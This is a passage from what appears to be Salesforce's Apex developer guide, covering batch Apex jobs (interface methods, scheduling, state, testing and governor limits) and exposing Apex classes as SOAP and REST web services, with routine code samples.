that the trigger will not add more batch jobs than the five that are allowed. In particular, consider API bulk updates,
import wizards, mass record changes through the user interface, and all cases where more than one record can be
updated at a time.
Batch jobs can also be programmatically scheduled to run at specific times using the Apex scheduler, or scheduled using the
Schedule Apex page in the Salesforce user interface. For more information on the Schedule Apex page, see “Scheduling Apex”
in the Salesforce online help.
The batch Apex interface is also used for Apex managed sharing recalculations.
For more information on batch jobs, continue to Using Batch Apex on page 208.
For more information on Apex managed sharing, see Understanding Apex Managed Sharing on page 162.

Using Batch Apex
To use batch Apex, you must write an Apex class that implements the Salesforce-provided interface Database.Batchable,
and then invoke the class programmatically.
To monitor or stop the execution of the batch Apex job, from Setup, click Monitoring > Apex Jobs or Jobs > Apex Jobs.
Implementing the Database.Batchable Interface
The Database.Batchable interface contains three methods that must be implemented:
•

start method
global (Database.QueryLocator | Iterable<sObject>) start(Database.BatchableContext bc)
{}

The start method is called at the beginning of a batch Apex job. Use the start method to collect the records or objects
to be passed to the interface method execute. This method returns either a Database.QueryLocator object or an
iterable that contains the records or objects being passed into the job.
Use the Database.QueryLocator object when you are using a simple query (SELECT) to generate the scope of objects
used in the batch job. If you use a querylocator object, the governor limit for the total number of records retrieved by SOQL
queries is bypassed. For example, a batch Apex job for the Account object can return a QueryLocator for all account
records (up to 50 million records) in an organization. Another example is a sharing recalculation for the Contact object
that returns a QueryLocator for all account records in an organization.
Use the iterable when you need to create a complex scope for the batch job. You can also use the iterable to create your
own custom process for iterating through the list.
Important: If you use an iterable, the governor limit for the total number of records retrieved by SOQL queries
is still enforced.
•

execute method:
global void execute(Database.BatchableContext BC, list<P>){}

208
Invoking Apex

Batch Apex

The execute method is called for each batch of records passed to the method. Use this method to do all required processing
for each chunk of data.
This method takes the following:
◊ A reference to the Database.BatchableContext object.
◊ A list of sObjects, such as List<sObject>, or a list of parameterized types. If you are using a
Database.QueryLocator, the returned list should be used.
Batches of records are not guaranteed to execute in the order they are received from the start method.
•

finish method
global void finish(Database.BatchableContext BC){}

The finish method is called after all batches are processed. Use this method to send confirmation emails or execute
post-processing operations.
Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000
records and is executed without the optional scope parameter from Database.executeBatch is considered five transactions
of 200 records each. The Apex governor limits are reset for each transaction. If the first transaction succeeds but the second
fails, the database updates made in the first transaction are not rolled back.
Using Database.BatchableContext
All of the methods in the Database.Batchable interface require a reference to a Database.BatchableContext object.
Use this object to track the progress of the batch job.
The following is the instance method with the Database.BatchableContext object:
Name
getJobID

Arguments

Returns

Description

ID

Returns the ID of the AsyncApexJob object associated
with this batch job as a string. Use this method to track
the progress of records in the batch job. You can also
use this ID with the System.abortJob method.

The following example uses the Database.BatchableContext to query the AsyncApexJob associated with the batch
job.
global void finish(Database.BatchableContext BC){
// Get the ID of the AsyncApexJob representing this batch job
// from Database.BatchableContext.
// Query the AsyncApexJob object to retrieve the current job's information.
AsyncApexJob a = [SELECT Id, Status, NumberOfErrors, JobItemsProcessed,
TotalJobItems, CreatedBy.Email
FROM AsyncApexJob WHERE Id =
:BC.getJobId()];
// Send an email to the Apex job's submitter notifying of job completion.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {a.CreatedBy.Email};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation ' + a.Status);
mail.setPlainTextBody
('The batch Apex job processed ' + a.TotalJobItems +
' batches with '+ a.NumberOfErrors + ' failures.');
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}

209
Invoking Apex

Batch Apex

Using Database.QueryLocator to Define Scope
The start method can return either a Database.QueryLocator object that contains the records to be used in the batch
job or an iterable.
The following example uses a Database.QueryLocator:
global class SearchAndReplace implements Database.Batchable<sObject>{
global
global
global
global

final
final
final
final

String
String
String
String

Query;
Entity;
Field;
Value;

global SearchAndReplace(String q, String e, String f, String v){
Query=q; Entity=e; Field=f;Value=v;
}
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);
}
global void execute(Database.BatchableContext BC, List<sObject> scope){
for(sobject s : scope){
s.put(Field,Value);
}
update scope;
}
global void finish(Database.BatchableContext BC){
}
}

Using an Iterable in Batch Apex to Define Scope
The start method can return either a Database.QueryLocator object that contains the records to be used in the batch
job, or an iterable. Use an iterable to step through the returned items more easily.
global class batchClass implements Database.batchable{
global Iterable start(Database.BatchableContext info){
return new CustomAccountIterable();
}
global void execute(Database.BatchableContext info, List<Account> scope){
List<Account> accsToUpdate = new List<Account>();
for(Account a : scope){
a.Name = 'true';
a.NumberOfEmployees = 70;
accsToUpdate.add(a);
}
update accsToUpdate;
}
global void finish(Database.BatchableContext info){
}
}

Using the Database.executeBatch Method
You can use the Database.executeBatch method to programmatically begin a batch job.
Important: When you call Database.executeBatch, Salesforce only adds the process to the queue. Actual
execution may be delayed based on service availability.
The Database.executeBatch method takes two parameters:

210
Invoking Apex

•
•

Batch Apex

An instance of a class that implements the Database.Batchable interface.
The Database.executeBatch method takes an optional parameter scope. This parameter specifies the number of
records that should be passed into the execute method. Use this parameter when you have many operations for each
record being passed in and are running into governor limits. By limiting the number of records, you are thereby limiting
the operations per transaction. This value must be greater than zero. If the start method of the batch class returns a
QueryLocator, the optional scope parameter of Database.executeBatch can have a maximum value of 2,000. If set
to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to 2,000 records.
If the start method of the batch class returns an iterable, the scope parameter value has no upper limit; however, if you
use a very high number, you may run into other limits.

The Database.executeBatch method returns the ID of the AsyncApexJob object, which can then be used to track the
progress of the job. For example:
ID batchprocessid = Database.executeBatch(reassign);
AsyncApexJob aaj = [SELECT Id, Status, JobItemsProcessed, TotalJobItems, NumberOfErrors
FROM AsyncApexJob WHERE ID =: batchprocessid ];

For more information about the AsyncApexJob object, see AsyncApexJob in the Object Reference for Salesforce and Force.com.
You can also use this ID with the System.abortJob method.
Using the System.scheduleBatch Method
You can use the System.scheduleBatch method to schedule a batch job to run once at a future time.
The System.scheduleBatch method takes the following parameters.
•
•
•
•

An instance of a class that implements the Database.Batchable interface.
The job name.
The time interval, in minutes, after which the job should start executing.
An optional scope value. This parameter specifies the number of records that should be passed into the execute method.
Use this parameter when you have many operations for each record being passed in and are running into governor limits.
By limiting the number of records, you are thereby limiting the operations per transaction. This value must be greater than
zero. If the start method returns a QueryLocator, the optional scope parameter of System.scheduleBatch can have
a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller
batches of up to 2,000 records. If the start method returns an iterable, the scope parameter value has no upper limit;
however, if you use a very high number, you may run into other limits.

The System.scheduleBatch method returns the scheduled job ID (CronTrigger ID).
This example schedules a batch job to run one minute from now by calling System.scheduleBatch. The example passes
this method an instance of a batch class (the reassign variable), a job name, and a time interval of one minute. The optional
scope parameter has been omitted. The method call returns the scheduled job ID, which is used to query CronTrigger to
get the status of the corresponding scheduled job.
String cronID = System.scheduleBatch(reassign, 'job example', 1);
CronTrigger ct = [SELECT Id, TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :cronID];
// TimesTriggered should be 0 because the job hasn't started yet.
System.assertEquals(0, ct.TimesTriggered);
System.debug('Next fire time: ' + ct.NextFireTime);
// For example:
// Next fire time: 2013-06-03 13:31:23

For more information about CronTrigger, see CronTrigger in the Object Reference for Salesforce and Force.com.

211
Invoking Apex

Batch Apex

Note: Some things to note about System.scheduleBatch:
•
•
•
•

When you call System.scheduleBatch, Salesforce schedules the job for execution at the specified time. Actual
execution might be delayed based on service availability.
The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.
All scheduled Apex limits apply for batch jobs scheduled using System.scheduleBatch. After the batch job
starts executing, all batch job limits apply and the job no longer counts toward scheduled Apex limits.
After calling this method and before the batch job starts, you can use the returned scheduled job ID to abort the
scheduled job using the System.abortJob method.

Batch Apex Examples
The following example uses a Database.QueryLocator:
global class UpdateAccountFields implements Database.Batchable<sObject>{
global final String Query;
global final String Entity;
global final String Field;
global final String Value;
global UpdateAccountFields(String q, String e, String f, String v){
Query=q; Entity=e; Field=f;Value=v;
}
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);
}
global void execute(Database.BatchableContext BC,
List<sObject> scope){
for(Sobject s : scope){s.put(Field,Value);
}
update scope;
}
global void finish(Database.BatchableContext BC){
}
}

The following code can be used to call the above class:
// Query for 10 accounts
String q = 'SELECT Industry FROM Account LIMIT 10';
String e = 'Account';
String f = 'Industry';
String v = 'Consulting';
Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);

To exclude accounts that were deleted and that are still in the Recycle Bin, append isDeleted=false in the SOQL query
WHERE clause as shown in the query in this modified sample.
// Query for accounts that aren't in the Recycle Bin
String q = 'SELECT Industry FROM Account WHERE isDeleted=false LIMIT 10';
String e = 'Account';
String f = 'Industry';
String v = 'Consulting';
Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);

212
Invoking Apex

Batch Apex

To exclude invoices that were deleted and that are still in the Recycle Bin, append isDeleted=false in the SOQL query
WHERE clause as shown in the query in this modified sample.
// Query for invoices that aren't in the Recycle Bin
String q =
'SELECT Description__c FROM Invoice_Statement__c WHERE isDeleted=false LIMIT 10';
String e = 'Invoice_Statement__c';
String f = 'Description__c';
String v = 'Updated description';
Id batchInstanceId = Database.executeBatch(new UpdateInvoiceFields(q,e,f,v), 5);

The following class uses batch Apex to reassign all accounts owned by a specific user to a different user.
global class OwnerReassignment implements Database.Batchable<sObject>{
String query;
String email;
Id toUserId;
Id fromUserId;
global Database.querylocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);}
global void execute(Database.BatchableContext BC, List<sObject> scope){
List<Account> accns = new List<Account>();
for(sObject s : scope){Account a = (Account)s;
if(a.OwnerId==fromUserId){
a.OwnerId=toUserId;
accns.add(a);
}
}
update accns;
}
global void finish(Database.BatchableContext BC){
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
mail.setToAddresses(new String[] {email});
mail.setReplyTo('batch@acme.com');
mail.setSenderDisplayName('Batch Processing');
mail.setSubject('Batch Process Completed');
mail.setPlainTextBody('Batch Process has completed');
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}

Use the following to execute the OwnerReassignment class in the previous example:
OwnerReassignment reassign = new OwnerReassignment();
reassign.query = 'SELECT Id, Name, Ownerid FROM Account ' +
'WHERE ownerid='' + u.id + ''';
reassign.email='admin@acme.com';
reassign.fromUserId = u;
reassign.toUserId = u2;
ID batchprocessid = Database.executeBatch(reassign);

The following is an example of a batch Apex class for deleting records.
global class BatchDelete implements Database.Batchable<sObject> {
public String query;
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);
}

213
Invoking Apex

Batch Apex

global void execute(Database.BatchableContext BC, List<sObject> scope){
delete scope;
DataBase.emptyRecycleBin(scope);
}
global void finish(Database.BatchableContext BC){
}
}

This code calls the BatchDelete batch Apex class to delete old documents. The specified query selects documents to delete
for all documents that are in a specified folder and that are older than a specified date. Next, the sample invokes the batch job.
BatchDelete BDel = new BatchDelete();
Datetime d = Datetime.now();
d = d.addDays(-1);
// Replace this value with the folder ID that contains
// the documents to delete.
String folderId = '00lD000000116lD';
// Query for selecting the documents to delete
BDel.query = 'SELECT Id FROM Document WHERE FolderId='' + folderId +
'' AND CreatedDate < '+d.format('yyyy-MM-dd')+'T'+
d.format('HH:mm')+':00.000Z';
// Invoke the batch job.
ID batchprocessid = Database.executeBatch(BDel);
System.debug('Returned batch process ID: ' + batchProcessId);

Using Callouts in Batch Apex
To use a callout in batch Apex, you must specify Database.AllowsCallouts in the class definition. For example:
global class SearchAndReplace implements Database.Batchable<sObject>,
Database.AllowsCallouts{
}

Callouts include HTTP requests as well as methods defined with the webService keyword.
Using State in Batch Apex
Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000
records and is executed without the optional scope parameter is considered five transactions of 200 records each.
If you specify Database.Stateful in the class definition, you can maintain state across these transactions. When using
Database.Stateful, only instance member variables retain their values between transactions. Static member variables don’t
and are reset between transactions. Maintaining state is useful for counting or summarizing records as they're processed. For
example, suppose your job processed opportunity records. You could define a method in execute to aggregate totals of the
opportunity amounts as they were processed.
If you don't specify Database.Stateful, all static and instance member variables are set back to their original values.
The following example summarizes a custom field total__c as the records are processed:
global class SummarizeAccountTotal implements
Database.Batchable<sObject>, Database.Stateful{
global final String Query;
global integer Summary;
global SummarizeAccountTotal(String q){Query=q;
Summary = 0;
}
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);
}

214
Invoking Apex

Batch Apex

global void execute(
Database.BatchableContext BC,
List<sObject> scope){
for(sObject s : scope){
Summary = Integer.valueOf(s.get('total__c'))+Summary;
}
}
global void finish(Database.BatchableContext BC){
}
}

In addition, you can specify a variable to access the initial state of the class. You can use this variable to share the initial state
with all instances of the Database.Batchable methods. For example:
// Implement the interface using a list of Account sObjects
// Note that the initialState variable is declared as final
global class MyBatchable implements Database.Batchable<sObject> {
private final String initialState;
String query;
global MyBatchable(String intialState) {
this.initialState = initialState;
}
global Database.QueryLocator start(Database.BatchableContext BC) {
// Access initialState here
return Database.getQueryLocator(query);
}
global void execute(Database.BatchableContext BC,
List<sObject> batch) {
// Access initialState here
}
global void finish(Database.BatchableContext BC) {
// Access initialState here
}
}

Note that initialState is the initial state of the class. You cannot use it to pass information between instances of the class
during execution of the batch job. For example, if you changed the value of initialState in execute, the second chunk
of processed records would not be able to access the new value: only the initial value would be accessible.
Testing Batch Apex
When testing your batch Apex, you can test only one execution of the execute method. You can use the scope parameter
of the executeBatch method to limit the number of records passed into the execute method to ensure that you aren't
running into governor limits.
The executeBatch method starts an asynchronous process. This means that when you test batch Apex, you must make
certain that the batch job is finished before testing against the results. Use the Test methods startTest and stopTest
around the executeBatch method to ensure it finishes before continuing your test. All asynchronous calls made after the
startTest method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously.
If you don’t include the executeBatch method within the startTest and stopTest methods, the batch job executes at
the end of your test method for Apex saved using Salesforce.com API version 25.0 and later, but not in earlier versions.
Starting with Apex saved using Salesforce.com API version 22.0, exceptions that occur during the execution of a batch Apex
job that is invoked by a test method are now passed to the calling test method, and as a result, causes the test method to fail.

215
Invoking Apex

Batch Apex

If you want to handle exceptions in the test method, enclose the code in try and catch statements. You must place the
catch block after the stopTest method. Note however that with Apex saved using Salesforce.com API version 21.0 and
earlier, such exceptions don't get passed to the test method and don't cause test methods to fail.
Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not
count against your limits for the number of queued jobs.
The example below tests the OwnerReassignment class.
public static testMethod void testBatch() {
user u = [SELECT ID, UserName FROM User
WHERE username='testuser1@acme.com'];
user u2 = [SELECT ID, UserName FROM User
WHERE username='testuser2@acme.com'];
String u2id = u2.id;
// Create 200 test accounts - this simulates one execute.
// Important - the Salesforce.com test framework only allows you to
// test one execute.
List <Account> accns = new List<Account>();
for(integer i = 0; i<200; i++){
Account a = new Account(Name='testAccount'+'i',
Ownerid = u.ID);
accns.add(a);
}
insert accns;
Test.StartTest();
OwnerReassignment reassign = new OwnerReassignment();
reassign.query='SELECT ID, Name, Ownerid ' +
'FROM Account ' +
'WHERE OwnerId='' + u.Id + ''' +
' LIMIT 200';
reassign.email='admin@acme.com';
reassign.fromUserId = u.Id;
reassign.toUserId = u2.Id;
ID batchprocessid = Database.executeBatch(reassign);
Test.StopTest();
System.AssertEquals(
database.countquery('SELECT COUNT()'
+' FROM Account WHERE OwnerId='' + u2.Id + '''),
200);
}
}

Batch Apex Governor Limits
Keep in mind the following governor limits for batch Apex:
•
•

•
•

Up to five queued or active batch jobs are allowed for Apex.
The maximum number of batch Apex method executions per a 24-hour period is 250,000 or the number of user licenses
in your organization multiplied by 200, whichever is greater. Method executions include executions of the start, execute,
and finish methods. This is an organization-wide limit and is shared with all other asynchronous Apex: scheduled Apex
and future methods. The licenses that count toward this limit are full Salesforce user licenses or Force.com App Subscription
user licenses. Chatter Free, Chatter customer users, Customer Portal User, and partner portal User licenses aren’t included.
The batch Apex start method can have up to 15 query cursors open at a time per user. The batch Apex execute and
finish methods each have a different limit of 5 open query cursors per user.
A maximum of 50 million records can be returned in the Database.QueryLocator object. If more than 50 million
records are returned, the batch job is immediately terminated and marked as Failed.

216
Invoking Apex

•

•

•
•

Batch Apex

If the start method of the batch class returns a QueryLocator, the optional scope parameter of Database.executeBatch
can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator
into smaller batches of up to 2,000 records. If the start method of the batch class returns an iterable, the scope parameter
value has no upper limit; however, if you use a very high number, you may run into other limits.
If no size is specified with the optional scope parameter of Database.executeBatch, Salesforce chunks the records
returned by the start method into batches of 200, and then passes each batch to the execute method. Apex governor
limits are reset for each execution of execute.
The start, execute, and finish methods can implement up to 10 callouts each.
Only one batch Apex job's start method can run at a time in an organization. Batch jobs that haven’t started yet remain
in the queue until they're started. Note that this limit doesn’t cause any batch job to fail and execute methods of batch
Apex jobs still run in parallel if more than one job is running.

Batch Apex Best Practices
•

•
•

•

•
•
•
•

•
•

•
•

•

•
•

Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the trigger
will not add more batch jobs than the five that are allowed. In particular, consider API bulk updates, import wizards, mass
record changes through the user interface, and all cases where more than one record can be updated at a time.
When you call Database.executeBatch, Salesforce only places the job in the queue. Actual execution may be delayed
based on service availability.
When testing your batch Apex, you can test only one execution of the execute method. You can use the scope parameter
of the executeBatch method to limit the number of records passed into the execute method to ensure that you aren't
running into governor limits.
The executeBatch method starts an asynchronous process. This means that when you test batch Apex, you must make
certain that the batch job is finished before testing against the results. Use the Test methods startTest and stopTest
around the executeBatch method to ensure it finishes before continuing your test.
Use Database.Stateful with the class definition if you want to share instance member variables or data across job
transactions. Otherwise, all member variables are reset to their initial state at the start of each transaction.
Methods declared as future aren't allowed in classes that implement the Database.Batchable interface.
Methods declared as future can't be called from a batch Apex class.
Starting with Apex saved using Salesforce.com API version 26.0, you can call Database.executeBatch or
System.scheduleBatch from the finish method. This enables you to start or schedule a new batch job when the
current batch job finishes. For previous versions, you can’t call Database.executeBatch or System.scheduleBatch
from any batch Apex method. Note that the version used is the version of the running batch class that starts or schedules
another batch job. If the finish method in the running batch class calls a method in a helper class to start the batch job,
the Salesforce.com API version of the helper class doesn’t matter.
You cannot use the getContent and getContentAsPDF PageReference methods in a batch job.
When a batch Apex job is run, email notifications are sent either to the user who submitted the batch job, or, if the code
is included in a managed package and the subscribing organization is running the batch job, the email is sent to the recipient
listed in the Apex Exception Notification Recipient field.
Each method execution uses the standard governor limits anonymous block, Visualforce controller, or WSDL method.
Each batch Apex invocation creates an AsyncApexJob record. Use the ID of this record to construct a SOQL query to
retrieve the job’s status, number of errors, progress, and submitter. For more information about the AsyncApexJob object,
see AsyncApexJob in the Object Reference for Salesforce and Force.com.
For each 10,000 AsyncApexJob records, Apex creates one additional AsyncApexJob record of type BatchApexWorker
for internal use. When querying for all AsyncApexJob records, we recommend that you filter out records of type
BatchApexWorker using the JobType field. Otherwise, the query will return one more record for every 10,000
AsyncApexJob records. For more information about the AsyncApexJob object, see AsyncApexJob in the Object Reference
for Salesforce and Force.com.
All methods in the class must be defined as global or public.
For a sharing recalculation, we recommend that the execute method delete and then re-create all Apex managed sharing
for the records in the batch. This ensures the sharing is accurate and complete.

217
Invoking Apex

•

Web Services

Batch jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime ends
and when system resources become available, the queued batch jobs are executed. If a batch job was running when downtime
occurred, the batch execution is rolled back and restarted after the service comes back up.

See Also:
Batchable Interface

Web Services
Exposing Apex Methods as SOAP Web Services
You can expose your Apex methods as SOAP Web services so that external applications can access your code and your
application. To expose your Apex methods, use WebService Methods.
Tip:
•
•

Apex SOAP Web services allow an external application to invoke Apex methods through SOAP Web services.
Apex callouts enable Apex to invoke external Web or HTTP services.
Apex REST API exposes your Apex classes and methods as REST Web services. See Exposing Apex Classes as
REST Web Services.

WebService Methods
Apex class methods can be exposed as custom SOAP Web service calls. This allows an external application to invoke an Apex
Web service to perform an action in Salesforce. Use the webService keyword to define these methods. For example:
global class MyWebService {
webService static Id makeContact(String lastName, Account a) {
Contact c = new Contact(lastName = 'Weissman', AccountId = a.Id);
insert c;
return c.id;
}
}

A developer of an external application can integrate with an Apex class containing webService methods by generating a
WSDL for the class. To generate a WSDL from an Apex class detail page:
1. In the application from Setup, click Develop > Apex Classes.
2. Click the name of a class that contains webService methods.
3. Click Generate WSDL.

Exposing Data with WebService Methods
Invoking a custom webService method always uses system context. Consequently, the current user's credentials are not used,
and any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing
rules. Developers who expose methods with the webService keyword should therefore take care that they are not inadvertently
exposing any sensitive data.
Warning: Apex class methods that are exposed through the API with the webService keyword don't enforce object
permissions and field-level security by default. We recommend that you make use of the appropriate object or field
describe result methods to check the current user’s access level on the objects and fields that the webService method
is accessing. See DescribeSObjectResult Class and DescribeFieldResult Class.
218
Invoking Apex

Exposing Apex Methods as SOAP Web Services

Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword.
This requirement applies to all Apex classes, including to classes that contain webService methods. To enforce sharing
rules for webService methods, declare the class that contains these methods with the with sharing keyword. See
Using the with sharing or without sharing Keywords.

Considerations for Using the WebService Keyword
When using the webService keyword, keep the following considerations in mind:
•
•
•
•
•
•

•
•
•

You cannot use the webService keyword when defining a class. However, you can use it to define top-level, outer class
methods, and methods of an inner class.
You cannot use the webService keyword to define an interface, or to define an interface's methods and variables.
System-defined enums cannot be used in Web service methods.
You cannot use the webService keyword in a trigger because you cannot define a method in a trigger.
All classes that contain methods defined with the webService keyword must be declared as global. If a method or
inner class is declared as global, the outer, top-level class must also be defined as global.
Methods defined with the webService keyword are inherently global. These methods can be used by any Apex code that
has access to the class. You can consider the webService keyword as a type of access modifier that enables more access
than global.
You must define any method that uses the webService keyword as static.
You cannot deprecate webService methods or variables in managed package code.
Because there are no SOAP analogs for certain Apex elements, methods defined with the webService keyword cannot
take the following elements as parameters. While these elements can be used within the method, they also cannot be
marked as return values.
◊
◊
◊
◊
◊

•
•
•

Maps
Sets
Pattern objects
Matcher objects
Exception objects

You must use the webService keyword with any member variables that you want to expose as part of a Web service. You
should not mark these member variables as static.
Salesforce denies access to Web service and executeanonymous requests from an AppExchange package that has
Restricted access.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String
value that is too long for the field.

The following example shows a class with Web service member variables as well as a Web service method:
global class SpecialAccounts {
global class AccountInfo {
webService String AcctName;
webService Integer AcctNumber;
}
webService static Account createAccount(AccountInfo info) {
Account acct = new Account();
acct.Name = info.AcctName;
acct.AccountNumber = String.valueOf(info.AcctNumber);
insert acct;
return acct;
}

219
Invoking Apex

Exposing Apex Classes as REST Web Services

webService static Id [] createAccounts(Account parent,
Account child, Account grandChild) {
insert parent;
child.parentId = parent.Id;
insert child;
grandChild.parentId = child.Id;
insert grandChild;
Id [] results = new Id[3];
results[0] = parent.Id;
results[1] = child.Id;
results[2] = grandChild.Id;
return results;
}
}
// Test class for the previous class.
@isTest
private class SpecialAccountsTest {
testMethod static void testAccountCreate() {
SpecialAccounts.AccountInfo info = new SpecialAccounts.AccountInfo();
info.AcctName = 'Manoj Cheenath';
info.AcctNumber = 12345;
Account acct = SpecialAccounts.createAccount(info);
System.assert(acct != null);
}
}

You can invoke this Web service using AJAX. For more information, see Apex in AJAX on page 232.

Overloading Web Service Methods
SOAP and WSDL do not provide good support for overloading methods. Consequently, Apex does not allow two methods
marked with the webService keyword to have the same name. Web service methods that have the same name in the same
class generate a compile-time error.

Exposing Apex Classes as REST Web Services
You can expose your Apex classes and methods so that external applications can access your code and your application through
the REST architecture. This section provides an overview of how to expose your Apex classes as REST Web services. You'll
learn about the class and method annotations and see code samples that show you how to implement this functionality.

Introduction to Apex REST
You can expose your Apex class and methods so that external applications can access your code and your application through
the REST architecture. This is done by defining your Apex class with the @RestResource annotation to expose it as a REST
resource. Similarly, add annotations to your methods to expose them through REST. For example, you can add the @HttpGet
annotation to your method to expose it as a REST resource that can be called by an HTTP GET request. For more information,
see Apex REST Annotations on page 84
These are the classes containing methods and properties you can use with Apex REST.
Class

Description

RestContext Class

Contains the RestRequest and RestResponse objects.

request

Represents an object used to pass data from an HTTP request
to an Apex RESTful Web service method.

220
Invoking Apex

Exposing Apex Classes as REST Web Services

Class

Description

response

Represents an object used to pass data from an Apex RESTful
Web service method to an HTTP response.

Governor Limits
Calls to Apex REST classes count against the organization's API governor limits. All standard Apex governor limits apply to
Apex REST classes. For example, the maximum request or response size is 3 MB. For more information, see Understanding
Execution Governors and Limits.
Authentication
Apex REST supports these authentication mechanisms:
•
•

OAuth 2.0
Session ID

See Step Two: Set Up Authorization in the REST API Developer's Guide.

Apex REST Annotations
Six new annotations have been added that enable you to expose an Apex class as a RESTful Web service.
•
•
•
•
•
•

@RestResource(urlMapping='/yourUrl')
@HttpDelete
@HttpGet
@HttpPatch
@HttpPost
@HttpPut

Apex REST Methods
Apex REST supports two formats for representations of resources: JSON and XML. JSON representations are passed by
default in the body of a request or response, and the format is indicated by the Content-Type property in the HTTP header.
You can retrieve the body as a Blob from the HttpRequest object if there are no parameters to the Apex method. If parameters
are defined in the Apex method, an attempt is made to deserialize the request body into those parameters. If the Apex method
has a non-void return type, the resource representation is serialized into the response body.
These return and parameter types are allowed:
•
•
•
•

Apex primitives (excluding sObject and Blob).
sObjects
Lists or maps of Apex primitives or sObjects (only maps with String keys are supported).
User-defined types that contain member variables of the types listed above.
Note: Apex REST does not support XML serialization and deserialization of Chatter in Apex objects. Apex REST
does support JSON serialization and deserialization of Chatter in Apex objects. Also, some collection types, such as
maps, aren’t supported with XML. See Request and Response Data Considerations for details.

Methods annotated with @HttpGet or @HttpDelete should have no parameters. This is because GET and DELETE
requests have no request body, so there's nothing to deserialize.
A single Apex class annotated with @RestResource can't have multiple methods annotated with the same HTTP request
method. For example, the same class can't have two methods annotated with @HttpGet.

221
Invoking Apex

Exposing Apex Classes as REST Web Services

Note: Apex REST currently doesn't support requests of Content-Type multipart/form-data.

Apex REST Method Considerations
Here are a few points to consider when you define Apex REST methods.
RestRequest and RestResponse objects are available by default in your Apex methods through the static RestContext
object. This example shows how to access these objects through RestContext:

•

RestRequest req = RestContext.request;
RestResponse res = RestContext.response;

If the Apex method has no parameters, Apex REST copies the HTTP request body into the RestRequest.requestBody
property. If the method has parameters, then Apex REST attempts to deserialize the data into those parameters and the
data won't be deserialized into the RestRequest.requestBody property.
Apex REST uses similar serialization logic for the response. An Apex method with a non-void return type will have the
return value serialized into RestResponse.responseBody.
Apex REST methods can be used in managed and unmanaged packages. When calling Apex REST methods that are
contained in a managed package, you need to include the managed package namespace in the REST call URL. For example,
if the class is contained in a managed package namespace called packageNamespace and the Apex REST methods use
a URL mapping of /MyMethod/*, the URL used via REST to call these methods would be of the form
https://instance.salesforce.com/services/apexrest/packageNamespace/MyMethod/. For more
information about managed packages, see What is a Package?.

•

•
•

User-Defined Types
You can use user-defined types for parameters in your Apex REST methods. Apex REST deserializes request data into
public, private, or global class member variables of the user-defined type, unless the variable is declared as static or
transient. For example, an Apex REST method that contains a user-defined type parameter might look like the following:
@RestResource(urlMapping='/user_defined_type_example/*')
global with sharing class MyOwnTypeRestResource {
@HttpPost
global static MyUserDefinedClass echoMyType(MyUserDefinedClass ic) {
return ic;
}
global class MyUserDefinedClass {
global String string1;
global String string2 { get; set; }
private String privateString;
global transient String transientString;
global static String staticString;
}
}

Valid JSON and XML request data for this method would look like:
{
"ic" : {
"string1" : "value for string1",
"string2" : "value for string2",
"privateString" : "value for privateString"

222
Invoking Apex

Exposing Apex Classes as REST Web Services

}
}
<request>
<ic>
<string1>value for string1</string1>
<string2>value for string2</string2>
<privateString>value for privateString</privateString>
</ic>
</request>

If a value for staticString or transientString is provided in the example request data above, an HTTP 400 status
code response is generated. Note that the public, private, or global class member variables must be types allowed by
Apex REST:
Apex primitives (excluding sObject and Blob).
sObjects
Lists or maps of Apex primitives or sObjects (only maps with String keys are supported).

•
•
•

When creating user-defined types used as Apex REST method parameters, avoid introducing any class member variable
definitions that result in cycles (definitions that depend on each other) at run time in your user-defined types. Here's a simple
example:
@RestResource(urlMapping='/CycleExample/*')
global with sharing class ApexRESTCycleExample {
@HttpGet
global static MyUserDef1 doCycleTest() {
MyUserDef1 def1 = new MyUserDef1();
MyUserDef2 def2 = new MyUserDef2();
def1.userDef2 = def2;
def2.userDef1 = def1;
return def1;
}
global class MyUserDef1 {
MyUserDef2 userDef2;
}
global class MyUserDef2 {
MyUserDef1 userDef1;
}
}

The code in the previous example compiles, but at run time when a request is made, Apex REST detects a cycle between
instances of def1 and def2, and generates an HTTP 400 status code error response.
Request and Response Data Considerations
Some additional things to keep in mind for the request data for your Apex REST methods:
•

The name of the Apex parameters matter, although the order doesn’t. For example, valid requests in both XML and JSON
look like the following:
@HttpPost
global static void myPostMethod(String s1, Integer i1, Boolean b1, String s2)
{
"s1" : "my first string",
"i1" : 123,
"s2" : "my second string",

223
Invoking Apex

Exposing Apex Classes as REST Web Services

"b1" : false
}
<request>
<s1>my first string</s1>
<i1>123</i1>
<s2>my second string</s2>
<b1>false</b1>
</request>

•

•

•

Some parameter and return types can't be used with XML as the Content-Type for the request or as the accepted format
for the response, and hence, methods with these parameter or return types can't be used with XML. Maps or collections
of collections, for example, List<List<String>> aren't supported. However, you can use these types with JSON. If
the parameter list includes a type that's invalid for XML and XML is sent, an HTTP 415 status code is returned. If the
